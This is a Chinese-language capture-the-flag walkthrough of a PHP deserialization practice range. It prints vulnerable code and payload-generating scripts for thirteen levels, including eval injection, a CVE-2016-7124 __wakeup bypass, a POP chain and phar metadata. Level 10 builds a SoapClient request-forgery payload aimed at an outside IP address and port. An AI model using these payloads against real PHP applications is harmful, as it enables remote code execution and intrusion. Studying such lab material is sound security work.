题记 回顾一下php反序列化的一些内容
靶场地址https://github.com/fine-1/php-SER-libs
前言 php反序列化的魔术方法
__construct()
在对象创建时调用
__destruct()
在对象销毁时调用
__call()
对象上下文中调用不可访问(不存在)的方法时调用
__get()
用于从不可访问的属性读取数据时调用
__wakeup()
当调用unserialize()会自动调用
__toString(
) 对象被当成字符串执行时调用
__invoke()
对象被当成函数执行时调用
说明
关卡
不适用其他版本的原因以及相关设置
level4 create_fucntion与可变函数调用
5.6不支持可变函数,7.2已废除create_function
level5 序列化格式过滤与CVE-2016-7124
CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10
level6 私有属性反序列化
escaped binary string(仅从php6开始支持)
level7 __call与属性的初始值
同上
level10 just_one_soap
需要开启soap扩展(php5.6:extension=php_soap)
level11 a phar 和 level12 a phar trick
php.ini中phar.readonly=Off(若有分号则去掉)
level13 引用和session
session.auto_start=0; session.serialize_handler = php;(level13均为默认设置)
leve14 session.upload_progress
session.auto_start=0; session.serialize_handler = php_serialize; session.upload_progress.enabled = On; session.upload_progress.cleanup = Off; session.upload_progress.prefix = “upload_progress_”; session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”; session.upload_progress.freq = “1%”; session.upload_progress.min_freq = “1”;
Level-1(类的实例化) 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );class a { var $act ; function action ( ) { eval ($this ->act); } } $a =unserialize ($_GET ['flag' ]);$a ->action ();?>
action()方法里面有eval函数执行语句,创建一个类,传参到act,act里是执行语句,并调用action()方法
payload:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class a { var $act ; function action ( ) { eval ($this ->act); } } $a =new a ();$a ->act="show_source('flag.php');" ;$a ->action ();echo serialize ($a );?>
Level-2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =unserialize ($_GET ['param' ]);if ($a ->login ()){ echo $flag ; } ?>
通过代码判断当user和pass参数分别等于daydream和ok,则返回1,然后显示flag值。并且有construct()方法,对象创建时调用
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =new mylogin ("daydream" ,"ok" );$a ->login ();echo serialize ($a );?>
Level-3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =unserialize ($_COOKIE ['param' ]);if ($a ->login ()){ echo $flag ; } ?>
第三关和第二关同理,只是提交方式改变了,从GET方式改成了COOKIE,用bp抓包将payload进行url编码后写到cookies里重放数据包即可。
为什么使用urlencode,因为在反序列化时,protected和private变量序列化后会出现不可见的字符,private变量序列化后变量前\00类名\00,而protected变量序列化后变量前\00*类名\00
Level-4(create_fucntion与可变函数调用) 说明一下create_function
php5.6不支持可变函数,而在PHP7.2后完全废除create_function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );class func { public $key ; public function __destruct ( ) { unserialize ($this ->key); } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } } unserialize ($_GET ['param' ]);?>
分析:
$a(‘’, $this->code);
变量带括号说明这个地方是一个函数,而a接收action,在action写入”create_function”,而后面$this->code传入的是代码,写入include包含flag.php时,反序列化的时候会产生如下
1 2 O:4 :"func" :1 :{s:3 :"key" ;s:136 :"a:2:{i:0;O:7:" GetFlag":2:{s:4:" code";s:34:" include ("flag.php" );echo $flag ;
include被包在了引号里面,所以需要使用}对34:”闭合,使用array(),将create_function进而成为常规函数,且在对象func结束时调用destruct中的反序列化,所以要在进行序列化后传入key
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class func { public $key ; public function __destruct ( ) { unserialize ($this ->key)(); } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } } $a1 =new func ();$b =new GetFlag ();$b ->code='}include("flag.php");echo $flag;//' ;$b ->action="create_function" ;$a1 ->key=serialize (array ($b ,"get_flag" ));echo serialize ($a1 );?>
Level-5(序列化格式过滤与CVE-2016-7124) 由前面可以知道在调用unserialize()方法时,如果有wakeup()方法则会优先调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } } $cmd =$_GET ['cmd' ]; if (!isset ($cmd )){ echo show_source ('index.php' ,true ); } else { if (preg_match ('/[oc]:\d+:/i' ,$cmd )){ echo "Are you daydreaming?" ; } else { unserialize ($cmd ); } } ?>
分析:
创建了secret对象,默认调用construct方法,并传入文件名flag.php,但在下面判断时有一个正则匹配,匹配O:[0-9],[oc]就是判断包含O或C,\d任意整数[0-9],/i是不分辨大小写。
这里可以通过str_replace()函数绕过,将反序列化后的语句传入该函数,$b=str_replace(“O:6”,”O:+6”,”$b”)。
接着就到else判断,有一个反序列化,调用wakeup()方法将我们之前传入的flag.php改成了index.php。利用CVE-2016-7124,当表示对象属性个数的值大于真实的属性个数的值时,绕过wakeup()方法,最后对payload进行url编码,原因在上述提到过。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; echo $flag ; } function __destruct ( ) { include_once ($this ->file); } function __wakeup ( ) { $this ->file='index.php' ; } } $pa =new secret ('flag.php' );echo serialize ($pa ),"\n" ;$cmd =urlencode ('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}' );echo $cmd ;?>
Level-6(私有属性反序列化) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } } $param =$_GET ['param' ];$param =str_replace ("%" ,"daydream" ,$param );unserialize ($param );?>
上述提到,private和protected类型反序列化后是不一样的
private变量是\00+类名+\00
protected变量是\00+*+类名+\00
也可以使用%00
由于该题是private变量,且该题有替换,将%替换成daydream,则在反序列化后在payload里加入\00+secret+\00
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } } $pa =new secret ("system('type flag.php');" );echo serialize ($pa ),"\n" ;?>
Level-7(__call与属性的初始值) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );class you { private $body ; private $pro ='' ; function __destruct ( ) { $project =$this ->pro; $this ->body->$project (); } } class my { public $name ; function __call ($func , $args ) { if ($func == 'yourname' and $this ->name == 'myname' ) { include ('flag.php' ); echo $flag ; } } } $a =$_GET ['a' ];unserialize ($a );?>
分析:先new一个you对象和my对象,在my类里__call()
函数进行判断,当函数名为yourname和当前属性name为myname则返回flag。
对you类分析,有一个__destruct()
,里面可以将this->pro作为函数名赋值给project函数,假设this->body是对象my,调用project方法,而该方法在类my不存在则默认调用__call()
方法,所以可以创建__construct()
方法,将对象my赋值给this->body。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class you { private $body ; private $pro ; function __construct ( ) { $this ->body=new my (); $this ->pro='yourname' ; } function __destruct ( ) { $project =$this ->pro; $this ->body->$project (); } } class my { public $name ='myname' ; function __call ($func , $args ) { if ($func == 'yourname' and $this ->name == 'myname' ) { include ('flag.php' ); echo $flag ; } } } $p =new you ();echo serialize ($p );?>
Level-8(反序列化增逃逸) php反序列化字符逃逸详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } } $param =$_GET ['param' ];$profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo file_get_contents ("flag.php" ); } ?>
分析:有一个过滤函数,对于序列化后的结果只要在数组中出现flag或者php,就会替换为hack,从test类入手,construct方法没有对pass处理,就是pass是固定为daydream,现在要做的目的就是设法把daydream替换为escaping
1 O:4 :"test" :2 :{s:4 :"user" ;s:1 :"1" ;s:4 :"pass" ;s:8 :"daydream" ;}
逃逸的内容”;s:4:”pass”;s:8:”daydream”;},一共是29个字符,所以29*3,3为php字符个数
1 2 phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:" pass";s:8:" escaping";}
传到到user参数里,反序列化时后面的pass序列化后内容就被覆盖,则会执行user里面的语句
1 O:4 :"test" :2 :{s:4 :"user" ;s:116 :"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp" ;s:4 :"pass" ;s:8 :"escaping" ;}";s:4:" pass";s:8:" daydream";}
Level-9(Ezpop) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
一条简单的pop链
分析:有include包含,可以判断Modifier是最后的利用类部分,字符是可控的。有__wakeup()
方法,且有echo输出,从Show类入手,对象被当成字符串执行会调用__toString()
方法,会返回一个值,把str赋值为Test对象,类里没有source,会调用__get()
方法,在该方法里返回一个函数,将p赋值为Modifier对象,就会调用__invoke()
方法,接着调用append()方法,之后包含参数值,参数值在提示里有flag.php
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class Modifier { private $var ="flag.php" ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } $a =new Modifier ();$b =new Show ();$c =new Test ();$b ->source=$b ;$b ->source->str=$c ;$c ->p=$a ;echo "\n" ;echo urlencode (serialize ($b ));
Level-10(SOAP服务) SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
或者更简单地说:SOAP 是用于访问网络服务的协议。
需要在php里开启SOAP扩展
SOAP安全方面的使用
SoapClient 的类对象的时候,需要有两个参数,一个是字符串形式的wsdl ,另一个是数组形式的options 。
由于SoapClient 原生类中包含__call
方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()
魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );$c = unserialize ($_GET ['param' ]);$c -> daydream ();?>
分析:代码里的daydream()是未知方法,可以使用SOAPClient原生类调用未知方法执行__call()
函数
构造payload:
1 2 3 4 5 6 7 8 9 <?php $post_data ='pass=password' ;$data_len =strlen ($post_data );$a = new SoapClient (null ,array ('location' =>'http://202.182.125.24:43857/test' ,'user_agent' =>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' .$data_len .'^^^^' .$post_data ,'uri' =>'bbba' ));$b = serialize ($a );$b = str_replace ('^^' ,"\r\n" ,$b );$b = str_replace ('&' ,'&' ,$b );echo urlencode ($b );
HTTP请求头之间的参数用一组\r\n
分割即可
HTTP请求头与POSTDATA之间要用两个\r\n
分割.
本地使用nc启动监听,向目标发送payload
UA里面有admin,而且Content-Type也从XML修改为x-www-form-urlencoded,之后flag.txt就被写入到服务器的文件夹里
Level-11(phar) PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发 phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
Phar需要 PHP >= 5.2 在php.ini中将phar.readonly设为Off(注意去掉前面的分号)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];if (isset ($filename )){ echo md5_file ($filename ); } ?>
分析:先创建一个phar文件,上传到服务器,一般phar有伪协议来查看文件,phar://
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject {} @unlink ("phar1.phar" ); $phar = new Phar ("phar1.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" );$o = new TestObject ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
Level-12(phar II) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];$boo1 =1 ;$black_list =['php' ,'file' ,'glob' ,'data' ,'http' ,'ftp' ,'zip' ,'https' ,'ftps' ,'phar' ];foreach ($black_list as $item ){ $front =substr ($filename ,0 ,strlen ($item )); if ($front ==$item ){ $boo1 =0 ; } } if (isset ($filename ) and $boo1 ){ echo md5_file ($filename ); } ?>
12关在11关的基础上加了黑名单过滤
payload:
Level-13(Session) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->name=$this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } ?> <?php highlight_file (__FILE__ );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
分析:__wakeup()
方法,且hint.php有序列化
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置
在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->name=$this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } $b =new Flag ();$b ->her=&$b ->name;echo serialize ($b );?>
此时序列化之后,|后面的数据就会作为value,而前面的数据会作为key,从而执行value的内容,然后重新访问index.php